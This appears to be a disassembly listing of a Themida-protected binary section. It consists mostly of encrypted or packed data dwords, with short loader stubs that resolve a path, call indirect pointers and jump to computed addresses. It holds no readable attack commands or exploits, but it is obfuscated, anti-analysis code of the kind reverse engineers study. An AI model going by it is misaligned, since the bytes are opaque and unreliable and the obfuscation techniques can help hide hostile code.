		dd 3A6EB4DCh, 65206440h, 431DA87Bh, 0C9A1423Ah,	0CD506B43h
		dd 492712h, 0B4F50000h,	65403A6Eh, 0AC5AFD29h, 0BBCF968Ch
		dd 8C58860Dh, 0B5EFCF96h, 0C779848Bh, 0B2A52149h, 0CF968C81h
		dd 8788BFD5h, 4F38C4F3h, 0CA901CF2h, 65231D8Bh,	8B844327h
		dd 65097BD1h, 8CF82629h, 0F10FCF96h, 5585B9h, 0B4D70000h
		dd 205AAA6Eh, 0ED46FE51h, 0F650D7Fh, 14CCD1DEh,	0BC6FE01Ch
		dd 12CF968Ch, 8C81B1A6h, 6A86CF96h, 0D7175106h,	0ED1BC5D8h
		dd 0DF7B65B3h, 66850CD5h, 0A8A79CF6h, 654684C0h, 8CF82629h
		dd 0F10FCF96h, 0F3FC6BB9h, 0F9F66D87h, 6743C24h, 72ED077Bh
		dd 65C7357Dh, 8CF82629h, 0F10FCF96h, 9D8F96B9h,	0D941CF96h
		dd 0FFFFFD1Dh, 8C8CBE63h, 0B311CF96h, 0F677B1E7h, 8CE6143Bh
		dd 0D808CF96h, 0D0A36D7h, 831141FFh, 8CB44946h,	0E41235E4h
		dd 0F1CF968Ch, 935294AFh, 0F76CB69Ch, 1BE792F8h, 0B49BBE4Fh
		dd 0FB11ECDFh, 88BCA2A5h, 0C64D9BB8h, 213h, 8C8DBE96h
		dd 0C810CF96h, 4978720Ch, 5C364EC5h, 70EEE1h, 0A79F8C0Fh
		dd 0EDA3D1D5h, 78858ABBh, 0D528271Ch, 0B657588Fh, 3F6B3F99h
		dd 969C1718h, 5A851FCFh, 0C54A4855h, 0CF965A15h, 68E612h
		dd 0FB881997h, 0B894F4Eh, 0E220432h, 19CF0000h,	61E64016h
		dd 4FFE286Eh, 0A9980A40h, 0B2B6F0A6h, 0A74CD7BDh, 97FDF276h
		dd 78DED10Dh, 5C323D2Eh, 411718CAh, 6694BBF7h, 0FDC97F21h
		dd 296564A8h, 968CF826h, 0B9F10FCFh, 17F6F96Bh,	0DE8ADE3Ah
		dd 0ADE977B9h, 0B54C68D5h, 0EEDCF607h, 0A721118Fh, 0AA6DC83Eh
		dd 3D4921D0h, 518D66E7h, 386A205Eh, 6A65E60Dh, 5FAFAD93h
		dd 0D69A1CA4h, 429A6391h, 0D17E8F80h, 60F7A3F7h, 0CF8FE04Bh
		dd 0DA080F7Bh, 69CF8FB9h, 959A49DBh, 77A0C808h,	0AE8128F9h
		dd 48958949h, 0D8782h, 0F1FE6400h, 0D5DA099Bh, 3738257Fh
		dd 0D02C761h, 6A65DD47h, 0AB5A8324h, 48DAB0BFh,	6BBD939Ch
		dd 7A1F7F8h, 3284CAC5h,	20A959FEh, 0E5BEC97Fh, 0DB2965A7h
		dd 0A49C616Eh, 968CFF2Fh, 80E804CFh, 1EEFE062h,	3341D731h
		dd 66943B34h, 0FDCF968Ch, 0CE7C134Fh, 55CF968Ch, 8DF9A927h
		dd 8D103E51h, 9917CF96h, 0A9E1AE91h, 4AE6D5A7h,	0AFA0A204h
		dd 0ABA4A1F3h, 28F0A1C7h, 6F6999BEh, 42FEC985h,	3CF364D4h
		dd 39CF9CCCh, 9945DF8Bh, 0C66E296h, 2E78DED1h, 0B1ED303Fh
		dd 4C24D245h, 9456CF90h, 8D82FC9Bh, 0CF904B5Dh,	70205EEAh
		dd 904C2FDFh, 0F0B834CFh, 6EBFB0B2h, 0E75307E1h, 0A1675B70h
		dd 5DACD8D5h, 8F582764h, 0B94BFF4Ch, 0B600000Ch, 4FD9BFB0h
		dd 67C19798h, 1A3E9E6h,	1F89CFC0h, 356E242Bh, 6E61E110h
		dd 414EFE28h, 0A1AE990Bh, 808FB9EBh, 1F3048CAh,	0C97F20EFh
		dd 43ED1F74h, 34D28E81h, 74785933h, 0AA433758h,	530F5BA5h
		dd 0A7654B3Ch, 71F103D5h, 0EA55AF7Eh, 940377E5h, 73F03218h
		dd 518C167Ch, 0B486F85Eh, 3A48386Ch, 47F9040Bh,	0A340D733h
		dd 80D5A792h, 7CAEA974h, 0C9C98586h, 0EAD2CC57h, 0A409DCE9h
		dd 0B1h, 0D9090E7Ah, 6EC98592h,	432C5ED2h, 2A728B84h, 0B7EB323Dh
		dd 8D26D47Bh, 203CCF96h, 61124B0Ch, 9E4ADAF9h, 0A6D40C91h
		dd 4B2E20B8h, 0A6CAD911h, 33CAC57Ch, 55917AE9h,	88689BEh
		dd 0E854AE9Ah, 0CC6D93E7h, 0E6E954E4h, 9063D07h, 0A0DE4CF4h
		dd 0A8A7A2F0h, 0F09384C0h, 26D5A77Ch, 801D12CCh, 41FFD850h
		dd 5E6D35B0h, 0E3C018Fh, 0BC8h,	0DAB0BFA5h, 0BE949B48h
		dd 0A0F6F964h, 86CCC306h, 652B241Ch, 78E819C2h,	47872177h
		dd 0A7A00248h, 8640E2A8h, 3971C389h, 7F1FE816h,	0E6267FC9h
		dd 0C58B8443h, 698Dh, 8243D100h, 0A8C0708Dh, 0DB296552h
		dd 0A39D606Fh, 968CFE2Ch, 83F705CFh, 10EDE261h,	7F11D533h
		dd 8E1B7CBEh, 0E1762250h, 0D5A7805Eh, 0BF24F503h, 0AF8F5E72h
		dd 0B56E85Eh, 2D1B0000h, 0D3A6C22h, 6BDA4C02h, 4DF42E64h
		dd 0AE9A0C42h, 93B8EBA1h, 0A3E9E662h, 84CAC501h, 682E2122h
		dd 4D030C3Eh, 72A0B7CBh, 0F1C97F1Eh, 814360A4h,	3B257F8Eh
		dd 851817D0h, 8AD02D5Bh, 99ADB3B4h, 0D90FCDEBh,	252h, 0B4779067h
		dd 0AE63DC6Ch, 968C79A9h, 0C4728ECFh, 92751A56h, 97D5A793h
		dd 98292819h, 2BBD1D2Fh, 0A6A999CDh, 0E020E0D5h, 824F5EEAh
		dd 6197E226h, 80221B44h, 0ECEA2612h, 0CBAF9F7Ch, 0B3BCA4CEh
		dd 3078F66Ah, 13D15A0Fh, 0DE051FE2h, 932FC841h,	1F8D769Eh
		dd 0E163B1E1h, 0CC7EA8EEh, 65E00E01h, 0C967DA13h, 5A0B4E5Bh
		dd 0CE1F7CCCh, 0A9B18h,	9D925000h, 0F9F66DB7h, 0DBD41193h
		dd 39363375h, 1E11D153h, 9746EF38h, 0ACF65C53h,	4FD9BFB0h
		dd 6BBD939Ch, 16A0F6F9h, 1DC5751Ah, 0D142C97Fh,	6F8443D3h
		dd 0DCD316FDh, 73E11FC1h, 2E1E74AAh, 0C64DC21h,	0A793C721h
		dd 0ADE939B0h, 0E6663ED5h, 0F50F7BE9h, 44BA434Ch, 7F3123D3h
		dd 669420C9h, 1CBAF612h, 1985EE26h, 6E61E6FEh, 0FA6AB8F0h
		dd 0CFDED111h, 0A74649F5h, 0B79D0BB9h, 2FFEF16Dh, 629087F3h
		dd 0E1C97EADh, 9672DF53h, 4E8196C2h, 80CF8FBDh,	0EEB60D06h
		dd 222636C9h, 2791BF2Dh, 54D4B4E7h, 0A8B46317h,	62CFDAACh
		dd 7619490Ch, 0CF8F8FC8h, 0C7B3215Fh, 60BDB2ADh, 364CB8F0h
		dd 0D1533936h, 9F831A15h, 0B260F723h, 0B1CF8F8Fh, 8F5E8C03h
		dd 5690CF8Fh, 0FF9C4459h, 49FB2941h, 5EAFA0A2h,	0C4A574E2h
		dd 3C894980h, 9AA7BEFh,	81470000h, 0E95EC88Eh, 0F776B0E6h
		dd 0D11092F8h, 3A2E78DEh, 1FC45F35h, 1F757AEEh,	565985h
		dd 0E4AAA5A6h, 0C98F8042h, 0EE1C334Fh, 75C97F1Ch, 2965EC20h
		dd 968CF826h, 0B9F10FCFh, 8C4BF316h, 0C65ACF96h, 17433F3Dh
		dd 968CD200h, 4F2351CFh, 0E65206E2h, 0A79CBE71h, 453543D5h
		dd 454AFB09h, 0C46928B8h, 0F4CB7702h, 75F03246h, 9B65147Ah
		dd 302793CFh, 0C9855002h, 0D9C6C974h, 94BBC7ABh, 0CF98F3AFh
		dd 3A4838B4h, 0D7510708h, 248F1A15h, 0B0894DE4h, 912FF6Bh
		dd 69DF0000h, 71F63066h, 5F8E187Eh, 0B9A8FA50h,	8246E0B6h
		dd 0B75CC78Dh, 87CDC206h, 682E211Dh, 4C020D3Eh,	316768DAh
		dd 56848BE7h, 0EDC97F1Ch, 8CBE74B8h, 0E6CF968Ch, 74256B64h
		dd 8788F8ACh, 0D5A7DA91h, 94EE5AD6h, 9EF4A4ABh,	0ACD2A6A9h
		dd 27C6C97Ah, 8BB33h, 6CB45900h, 0E3A4838h, 7A1D6901h
		dd 0D5A79F79h, 8C4B52EEh, 0C9857A5Ah, 0ECF275ABh, 9DCFDD8h
		dd 15B96h, 0F652600h, 15CBD2DDh, 0B04C71Dh, 0B5BAAAF2h
		dd 0DDD20C68h, 444BF4C0h, 0A4AB940Eh, 0BC2AF459h, 968C6B9Bh
		dd 0DE4CF8CFh, 8C75ED62h, 84F2CF96h, 968C6393h,	2654E0CFh
		dd 4B44FDC7h, 0F4FB6AB2h, 59EABE29h, 7690CE7Bh,	0B8DF542Eh
		dd 0CF95C88Ah, 246D6B99h, 8D2357FCh, 1C83BC7Ah,	0FDBFFD0h
		dd 381E8CCCh, 0C5069CC8h, 860D33CAh, 0CF965E58h, 8BD951EFh
		dd 93B65758h, 0CF965F57h, 0AF69FA8Eh, 0BCDDB3BCh, 0C54A0652h
		dd 0CF965F1Dh, 46B2EE1Ah, 965F21D1h, 0E68A26CFh, 9A71ED37h
		dd 9947A6A9h, 0D48017FBh, 0EC1AAD61h, 2BC07CA6h, 6687353Ah
		dd 0DA232C1Eh, 0C6000365h, 0E1430906h, 515E8E65h, 0FBF4704Ch
		dd 1CEDF4Dh, 9087F3A7h,	0D5A741BFh, 75A5AA84h, 0F2C9853Fh
		dd 3F639384h, 54E0C985h, 8CF8A826h, 853F5B8Bh, 0D45CE8C9h
		dd 0FBF470B2h, 0A2A6FC22h, 3F3AE86Fh, 0BBC9C985h, 0E6C8650Dh
		dd 6A989756h, 727DE43Eh, 7C96C23Eh, 0E53FCEC1h,	0AFC3717Eh
		dd 853F5E88h, 0B657E5C9h, 0AA6CF789h, 45DFB5BAh, 0DA779699h
		dd 59FEAAFEh, 0CF9644CAh, 9731619Fh, 3B5FFB5Ch,	96F8B087h
		dd 0A959FE2Ah, 0BECF95A4h, 11C15602h, 16CF95A5h, 904C969Ah
		dd 0FC6FB99Fh, 0D72D9DF3h, 0E5171B14h, 63DC6CB4h, 8D82FE6Ch
		dd 0D5A78D6Eh, 0BA412EA8h, 70CE3B7Ah, 116A0A52h, 7D350736h
		dd 0FDC72652h, 87034946h, 24AAC719h, 0A5CD3D1Eh, 26296557h
		dd 0CF968CF8h, 3DC0CF7Ah, 0B8E80403h, 968C6797h, 2840FCCFh
		dd 85F5A10Dh, 8F5AF01Bh, 954B525Dh, 0E520B6F7h,	3B74A2B5h
		dd 45F3CF96h, 29DD7C2Dh, 74CF963Ch, 97C32324h, 3C06345Bh
		dd 0EF1DCF96h, 963BBA68h, 773B49CFh, 0CDBED1F5h, 38810Fh
		dd 652F0000h, 8CF82629h, 610ECF96h, 33F75AE1h, 0B2ADE7E4h
		dd 42F060BDh, 0A44FF42Eh, 0E868B5BAh, 76A4A37Ah, 1FCF95A7h
		dd 0B38FE09h, 39294E04h, 0DFCF95CDh, 0FFFF74ABh, 8143F1FFh
		dd 0B834D28Eh, 99C7E3ABh, 538394C4h, 0D0CF9592h, 0C8BECCA4h
		dd 0DE6EB4C4h, 0A69A636Ch, 0D7F7628h, 0CDE3B39Bh, 391F12h
		dd 0B4AD0000h, 65403A6Eh, 6669DB29h, 4325987h, 3CF968Dh
		dd 1541BDF5h, 94BA578Bh, 0A8C05A5Bh, 96115787h,	0EE50ECCFh
		dd 84432765h, 0F65D18Bh, 3C5ED2DDh, 5FADC2h, 0B4FF0000h
		dd 65403A6Eh, 968C44F2h, 0FC7690CFh, 0A6A43F1Dh, 0D00C2357h
		dd 0FD29656Eh, 968CAC5Ah, 109DBBCFh, 3C35ABF9h,	8AC0A826h
		dd 0F8262965h, 0FCF968Ch, 0FC6BB9F1h, 0C0DDD217h, 7BB8E210h
		dd 755C9907h, 0A685C54Fh, 0F290896Bh, 8C83360Ah, 0CF96355Eh
		dd 69D957E5h, 963538E6h, 0F9B1CFCFh, 8D824383h,	8D29D970h
		dd 0DCACCF96h, 0BB508D4Bh, 5B17858Ah, 0A2AD95EFh, 968CFD2Dh
		dd 0BAFE0ACFh, 9D722F54h, 62E6CF96h, 0FFFFF3BAh, 8B844308h
		dd 979845DFh, 40A6CA76h, 0B7E3B711h, 0A7A7DFA0h, 956884D5h
		dd 857180B2h, 7A75F2C9h, 0E6E959A3h, 6DF62A07h,	0A197BADFh
		dd 6F9D016Eh, 736DF62Ah, 9DC894Bh, 707h, 1ADD500h, 0FF000000h
		dd 48386CB4h, 0A7B99CC7h, 9186F2D5h, 0C9856061h, 0BE9C7DE7h
		dd 507FFBBCh, 0D5634C24h, 7877ECC8h, 0EFF26D12h, 0C102C984h
		dd 2D1E88CEh, 9F0D02C6h, 4382100Eh, 0EB8FB14Ch,	3130086Ah
		dd 0AE95EF3Eh, 89DF5CA1h, 0FEC85C7Eh, 0C6498565h, 0C984F018h
		dd 4B99912Fh, 67C19798h, 42BEEAE5h, 84F01DCDh, 0C87A2AC9h
		dd 4A2149C7h, 6CFFF072h, 71E62B14h, 0C984EFC1h,	61BC2A46h
		dd 0EFEC1A3Dh, 0CD7BC984h, 7C818EBBh, 7456D137h, 0EB2D3650h
		dd 0C13B7679h, 4DE3A39Bh, 110EF10h, 0B4BD0000h,	654C3E6Ah
		dd 0AC5AFD29h, 0CECF968Ch, 0C775121Dh, 8C5B8CB3h, 15B3CF96h
		dd 0BE91971Ah, 12C5ADEEh, 0F657436h, 17C9D4DBh,	4FA5E763h
		dd 0F655FAFh, 15CBD2DDh, 0A05C71Dh, 0DD0F6550h,	1D15CBD2h
		dd 751A564Ch, 0CF968CC5h, 8423642h, 0E1367B65h,	0D33068F5h
		dd 7E8F8041h, 2783AEC2h, 0CDCB0773h, 0DFDC1C8Fh, 87B7DC5Ch
		dd 9CCF95CFh, 27555A84h, 0D7F3953h, 0CDE3B39Bh,	5C1F12h
		dd 51A30000h, 67959D92h, 0F8262965h, 0FCF968Ch,	0D8252A15h
		dd 0AB86EA18h, 65211B4Fh, 616EDB29h, 0FF2FA49Ch, 4CF968Ch
		dd 0D34480E8h, 0CF968D23h, 0FAF57020h, 0DD8F3D23h, 84432765h
		dd 8D18C649h, 0DB7CCF96h, 0CF968D2Bh, 718F8C38h, 97B99C3h
		dd 37ADh, 0A0A3F100h, 616ED5AFh, 6EB4F309h, 0F265403Ah
		dd 0CF968C44h, 0C75D0D3Bh, 8CF20B04h, 968C5B8Bh, 2E5CE8CFh
		dd 2965304Ah, 8CAC5AFDh, 0DBBCF96h, 84431765h, 97BD18Bh
		dd 0FFFEE7ADh, 8143FFFFh, 0F1037F8Eh, 0BDA37A75h, 0B2BDAFF5h
		dd 0D1166CDCh, 939C44DEh, 0F7A2D60Ah, 0A0D7D29h, 0D5A7B2C9h
		dd 0BC9B629Eh, 0C985678Ah, 0DCC245DBh, 9DCCEE8h, 4EA6h
		dd 0F657600h, 0F15CD4DBh, 0DB174317h, 99919E49h, 0A7B0C1B6h
		dd 0F30AA6D5h, 8568A254h, 1B14CCC9h, 118EBA82h,	0A72D5E8Eh
		dd 0C72654D2h, 0C9293A6Eh, 85499846h, 0E311AFC9h, 0B9B650AEh
		dd 8AE9F26Ch, 8F98CEA2h, 0DC42AD91h, 0EBE509h, 438B0000h
		dd 257F8E81h, 91EB323Dh, 7F455857h, 0B05E52CDh,	0CA25E1DDh
		dd 5296EC5Ch, 3D52405Dh, 0CF95F70Dh, 3870EE1Ah,	0FAC9B1D6h
		dd 89BBCF95h, 2270D086h, 61DF2E21h, 8269DB09h, 59898E43h
		dd 0EECF95FAh, 57B62452h, 6596AD2Bh, 848F8715h,	336741ECh
		dd 6667D047h, 0D06CD5A7h, 2E800E7Ah, 0FA688D89h, 6E24F23h
		dd 4D71E652h, 81CF9864h, 0E7DFF407h, 4028FD73h,	1B69D957h
		dd 5670202Fh, 520BF3E0h, 8F9DA995h, 59B872CEh, 8721472Bh
		dd 0F8BD4C43h, 68894D64h, 286A793h, 0FD6B0000h,	0DD0A9CF2h
		dd 3B2A7CD2h, 1DC45E34h, 7EEA3C12h, 63881B71h, 0D3B9B6B2h
		dd 0B49A9551h, 98FEF172h, 7DD3DC0Eh, 0A250C73Bh, 0A1C97F15h
		dd 8743B0F4h, 0E660C288h, 0A3EB8879h, 9E0CC0DFh, 0D3A48B8h
		dd 1A9F4FC0h, 8A4CF96h,	55DD039Ah, 386CB427h, 0B150C748h
		dd 5846D5A7h, 0EEDBBC50h, 2A85EDEEh, 2E0B3B5Ch,	7C18C985h
		dd 1A61B8BAh, 772351B3h, 84FA32E0h, 158331C9h, 0F99D5188h
		dd 0B8E8C984h, 9354FAFh, 3179E706h, 0DC7C132Bh,	0F25F09h
		dd 91E30000h, 0A7D55D52h, 7F8E8143h, 78578503h,	1B472044h
		dd 0CF18CEAh, 0C3C17F61h, 2EF23DA9h, 0CF151D0Eh, 9589141Bh
		dd 3AC3CC7Fh, 65CD7206h, 17CF95E2h, 326EDAD5h, 95E1ED1Dh
		dd 0AACE7ACFh, 8788C444h, 0CF95E157h, 0BAB250ECh, 2679E1E9h
		dd 3A247E32h, 9D7BE835h, 0F12D99C9h, 9685B05Eh,	54FBB7CFh
		dd 0CF9685A6h, 99910FBDh, 0A78FCDB6h, 0C25581D5h, 0C9858014h
		dd 228DE513h, 8013C354h, 0E410C985h, 97712076h,	7F8097C3h
		dd 0E4CF992Eh, 56AC1848h, 0C2CD7F94h, 7697053Bh, 0C47CA6CAh
		dd 272385CBh, 0F99ADEB8h, 0DB42404Fh, 4752C00Ah, 894D11C8h
		dd 39BBAF7Ch, 36000001h, 0CF593F30h, 0E7411718h, 81236966h
		dd 9F094F40h, 0B5EEA4ABh, 0EEE16190h, 0C1CE7EA8h, 212E198Bh
		dd 0F396Bh
		dd 9FB0C84Ah, 0C97F146Fh, 436D9FF4h, 60C28887h,	29A3E9E6h
		dd 7F8E8143h, 93BE8503h, 1762383Dh, 0CAAEDCD3h,	0F1A1AE98h
		dd 52ABA4A3h, 0E4648AEEh, 0B3B2598Eh, 41FF61BCh, 0F0A40C29h
		dd 0E34A5480h, 0DDB958B0h, 36E94E22h, 0CBD5A6DDh, 1AE3EC59h
		dd 0AAF8A826h, 47E1B7B8h, 0F738A85h, 324649F5h,	0BDEDB907h
		dd 1CCF4313h, 0BD2F2D22h, 0CE3A7EB3h, 9C844849h, 1EEB19CFh
		dd 89494275h, 91DA00DDh, 5E000000h, 77B1E7E8h, 0F99FFF0h
		dd 297BD1DEh, 0C7613738h, 0DD460C03h, 56598938h, 0A9A6A600h
		dd 898641E3h, 0E8E761C3h, 771810A2h, 0C97F13C7h, 0B4C5C75Ch
		dd 0C748386Ch, 0D5ADE8C2h, 48946987h, 69BB919Eh, 262914FFh
		dd 12EB19C7h, 10109B37h, 838498CFh, 0BE949B45h,	28F5FA64h
		dd 0B7D815CCh, 0CC0F0787h, 56757AE9h, 97C73CDAh, 0C81593E4h
		dd 8A9E435Ah, 828DBF79h, 0E7E85ACCh, 12D006h, 657A0000h
		dd 36D7D80Fh, 8C9747C8h, 10ACCF96h, 0EF918EE2h,	738A8543h
		dd 0ED303F29h, 425B5497h, 38C5CA7Ah, 926B64DCh,	0C919E4Ah
		dd 0EF3E3130h, 46A7A895h, 27C6C97Eh, 5E545637h,	4C681h
		dd 0EE830000h, 24348704h, 0E389535Ch, 4C381h, 0EB830000h
		dd 241C8704h, 2414895Ch, 81E28952h, 4C2h, 4EA8300h, 5C241487h
		dd 56241C89h, 175DE8BEh, 8BF28906h, 0C4812434h,	4, 8904EC83h
		dd 4832424h, 815B0424h,	4ECh, 24148900h, 0FF08438Fh, 815B2434h
		dd 4C4h, 2434FF00h, 4C4835Ah, 0FA03B6E9h, 62C4D4FFh, 79D3B818h
		dd 0C5030617h, 0D185C650h, 47061106h, 38172568h, 0D1B5FFCFh
		dd 8D06110Eh, 113AA685h, 8BD0FF06h, 1858DD8h, 50061110h
		dd 10468h, 0C6D3FF00h, 1106D185h, 0BF685306h, 0FF8307F8h
		dd 110ED1B5h, 0A6858D06h, 0FF06113Ah, 0B38589D0h, 8306175Bh
		dd 111DB9BDh, 840F0006h, 0Bh, 31D9D8Bh,	5E90611h, 0BB000000h
		dd 0
; ---------------------------------------------------------------------------
		push	100h
		lea	esi, [ebp+6175BB7h]
		push	esi
		push	ebx
		call	dword ptr [ebp+6112665h]
		lea	esi, [ebp+6175BB7h]
		add	esi, eax
		jmp	loc_5B16A1
; ---------------------------------------------------------------------------


loc_5B16A0:				; CODE XREF: Themida_:005B16ADj
		dec	esi


loc_5B16A1:				; CODE XREF: Themida_:005B169Bj
		cmp	byte ptr [esi],	5Ch
		jz	loc_5B16B3
		cmp	byte ptr [esi],	2Fh
		jnz	loc_5B16A0


loc_5B16B3:				; CODE XREF: Themida_:005B16A4j
		mov	byte ptr [esi],	0
		lea	eax, [ebp+6175BB7h]
		push	eax
		call	dword ptr [ebp+6175BB3h]
		pop	eax
		jmp	eax
; ---------------------------------------------------------------------------
		dw 74CFh
		dd 6E2807CFh, 0F94821EBh, 8796348Bh, 53680DC5h,	215076B7h
		dd 725B2EBFh, 234963F0h, 13677636h, 131D0926h, 6A1A4C4Dh
		dd 2463230Fh, 6CEE6B66h, 0D4976F28h, 68F67BE6h,	14E802D4h
		dd 0F0000000h, 0DF6E3956h, 1851F13Ah, 5795B444h, 0C74E25FEh
		dd 664E7FA5h, 0C98EB81h, 0E5E3815Fh, 8105ECA1h,	6B45C7h
		dd 0FFC03300h, 0CFB33834h, 81D18A59h, 100E53E9h, 56E98167h
		dd 6666C504h, 0FE9AF681h, 116AE981h, 0E8517607h, 13h, 0DF188258h
		dd 85ED38A4h, 2371BE50h, 33B0E36h, 66BE7DF4h, 0B73BEB81h
		dd 0C895E5Bh, 0AE807h, 0BBB70000h, 0B57315ABh, 0B6417D69h
		dd 0E2EA8166h, 84BE5B81h, 83725203h, 0BE904E8h,	77000000h
		dd 71D517BAh, 8FCD9E08h, 0F881A340h, 0FFFF9560h, 0FF85850Fh
		dd 0D281FFFFh, 17074C35h, 7CE98D8Dh, 6A0617h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 6FB2F2C3h
		dd 285D8D89h, 6A0611h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 0A2216CC3h, 75C4BDFBh, 1BB1858Bh
		dd 85C70611h, 6112DD1h,	5A24h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 9EC35141h, 19B58BFEh, 0C7061112h
		dd 11270985h, 6, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 84C0F8FEh, 89B5FF37h
		dd 0F061104h, 1189h, 0CE900h, 26560000h, 0D0700B22h, 7DFDFBE2h
		dd 0FFFCA20Dh, 111DA995h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 5152CEC9h
		dd 57E85AFBh, 9D0BC7DBh, 611201Dh, 95FF006Ah, 61105C5h
		dd 0BEBC08Bh, 9895E7AAh, 0AF677B7Ah, 8DF16BEEh,	177DF98Dh
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 68B15A5Ah, 66C18B66h, 89841ABBh,	11285D8Dh
		dd 0E5958906h, 0C706111Dh, 112DD185h, 659406h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 0BB6C3601h, 97AA260Eh, 985C712h, 61127h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 84F9C357h, 664508DEh, 0BE32D381h,	0FFD78B66h
		dd 1100C5B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 99853160h, 0E9061123h, 5,	6D68093Dh
		dd 0A995FF04h, 6A06111Dh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 0DEFCC353h,	0CDAA54B0h
		dd 8529F9E3h, 61121E9h,	95FF006Ah, 61105C5h, 1FEBC08Bh
		dd 0CD67B9CEh, 2EE697DEh, 114D2336h, 6424CC3Bh,	84D87714h
		dd 3E5E600Fh, 529BCC20h, 0E908595Ch, 30h, 6052A3ABh, 0E61D8C93h
		dd 2E81E89Dh, 6C64746Eh, 6C642E6Ch, 1467006Ch, 8003B2BDh
		dd 0FEB9h, 4 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5B203E
; ---------------------------------------------------------------------------
		push	6177F86h
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	6178049h
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	61780DDh
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	6178178h
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	6178230h
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	61782E4h
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		db 0D0h, 12h, 1Dh
		dd 7976ED37h, 5B549113h, 0B9B6B3F5h, 9E9151D3h,	17C66FB8h
		dd 2C76DCD3h, 0CF593F30h, 0EB3D131Ch, 96207679h, 0E45F59Ah
		dd 51C2C97Fh, 27AD53h, 43FF0000h, 37F8E81h, 0A07D72F1h
		dd 0B8AAF8B0h, 8D34E275h, 8533CF96h, 0E81A4117h, 0ACF968Ch
		dd 3D3232D9h, 8CC270E0h, 386CB432h, 0B474C748h,	881AD5A7h
		dd 0E779C45Bh, 7C990FF2h, 69013FCEh, 6CEB324Eh,	0C98582BAh
		dd 8C92950Bh, 9DCE5B8h,	20FF6h,	0CD7A8800h, 905CAEC2h
		dd 77238D4Eh, 93B3143Bh, 1CA8D5A7h, 1D12D62Ch, 0A669E815h
		dd 398DB42Eh, 0F7F86FDFh, 0CCBC2A16h, 6812F84Bh, 6EBFCD13h
		dd 0E75307E1h, 2FE1FCF9h, 33450FC6h, 14703837h,	7C914E03h
		dd 382A7811h, 66AD637h,	0F32F1BA9h, 5C88AE5Ch, 7307B50Dh
		dd 4C43FD17h, 0ADA29C06h, 75182A5Ch, 9D49924Bh,	43Fh, 3A101FC5h
		dd 1E747BE8h, 565984h, 0E6ACA3A6h, 0C58B84BCh, 0D808B962h
		dd 272781D7h, 7C06228h,	66E04208h, 99912369h, 7F0D48F6h
		dd 4646DFC9h, 7F8E8143h, 0F6A2F6D2h, 0B344EBAh,	0D047F904h
		dd 0CF968D22h, 0E7E4EB54h, 0F3F49h, 9B3CC768h, 0E652D5A7h
		dd 857EC171h, 462A46C9h, 0E075DB69h, 0E7B31DDEh, 2AD87FABh
		dd 39C9857Fh, 0F49BE78Bh, 0CF968513h, 518DFC08h, 84C472E5h
		dd 3543CF96h, 3EC3DA7Dh, 0DA266834h, 0EABDD28Eh, 0FF3D0A02h
		dd 42831141h, 0DF74254Dh, 62F5A5F1h, 371E6B2Fh,	90CCBCC8h
		dd 0FDAA4FFFh, 81BCD436h, 0EC18108Eh, 0F55B5496h, 63BEB1B3h
		dd 11D7FE21h, 7CE268B5h, 0A000003h, 2B7DD3DCh, 0CB5D333Ch
		dd 0E53F151Ah, 8B1D737Ch, 0A9FA505Fh, 0E2ED5584h, 0C5CA7AACh
		dd 252A158Fh, 40B356Fh,	0A3B4C44Eh, 0C97F0C73h,	4361A3F0h
		dd 0D27F8E81h, 0BAF6A2F6h, 8D19C94Eh, 922ECF96h, 9F76B99Eh
		dd 0DD6BD5A7h, 0AAFEDA77h, 0F8D359FEh, 1894CF9Ch, 6768DA28h
		dd 8C83FF2Bh, 0CF90205Eh, 12C057E5h, 11CF9021h,	3F698FE3h
		dd 8C67E60Dh, 914F5E51h, 0EA28F563h, 0C8A0AF98h, 9BD7836Dh
		dd 0A14B0BF4h, 15E410D5h, 8F585A01h, 0E89E4C91h, 9E000002h
		dd 0B7F1A7A8h, 4FD9BFB0h, 69BB919Eh, 7A1F7F8h, 1D86CCC3h
		dd 1619C9F8h, 6966E640h, 49468123h, 0A8A7A103h,	375850E2h
		dd 0C97F0D07h, 4305071Ch, 40D28E81h, 0CE728B84h, 725EF3AAh
		dd 5AE56A26h, 1FD5A7ACh, 4B97ABE1h, 0A5000001h,	48905390h
		dd 0C82B2C1Ch, 0DDD5A793h, 0EB5FF2AFh, 72BEC27Dh, 0DF0F0096h
		dd 64DC689Bh, 69EE5AC8h, 0E279AB86h, 0B3906D9Bh, 3E510155h
		dd 0E06E038Bh, 0CD7D126Ch, 5ADC6E02h, 0B2C0B02Eh, 4FD9BFB0h
		dd 6907929Dh, 9D7A6796h, 24D9A40h, 0D3B0000h, 6DDA4C02h
		dd 4BFA2C62h, 0AD940E44h, 8EBAECA2h, 0B358CB81h, 83C9C602h
		dd 642A2521h, 480E01C2h, 2D636CDEh, 528097EBh, 0D1C97F0Bh
		dd 81434044h, 78F6F96Ah, 1440A8A5h, 9B283324h, 9F2DD5A7h
		dd 9E9151A3h, 0E1E1749Ah, 0BAF6A20Eh, 4537404Eh, 2A14F124h
		dd 9EFEE146h, 0B1E3CF95h, 5D0CBAB5h, 7EB0E7E1h,	0C9D4DB0Fh
		dd 4FF60917h, 9F6ACDA5h, 0FB5E77F4h, 30EC2BDDh,	0A8C0D70Bh
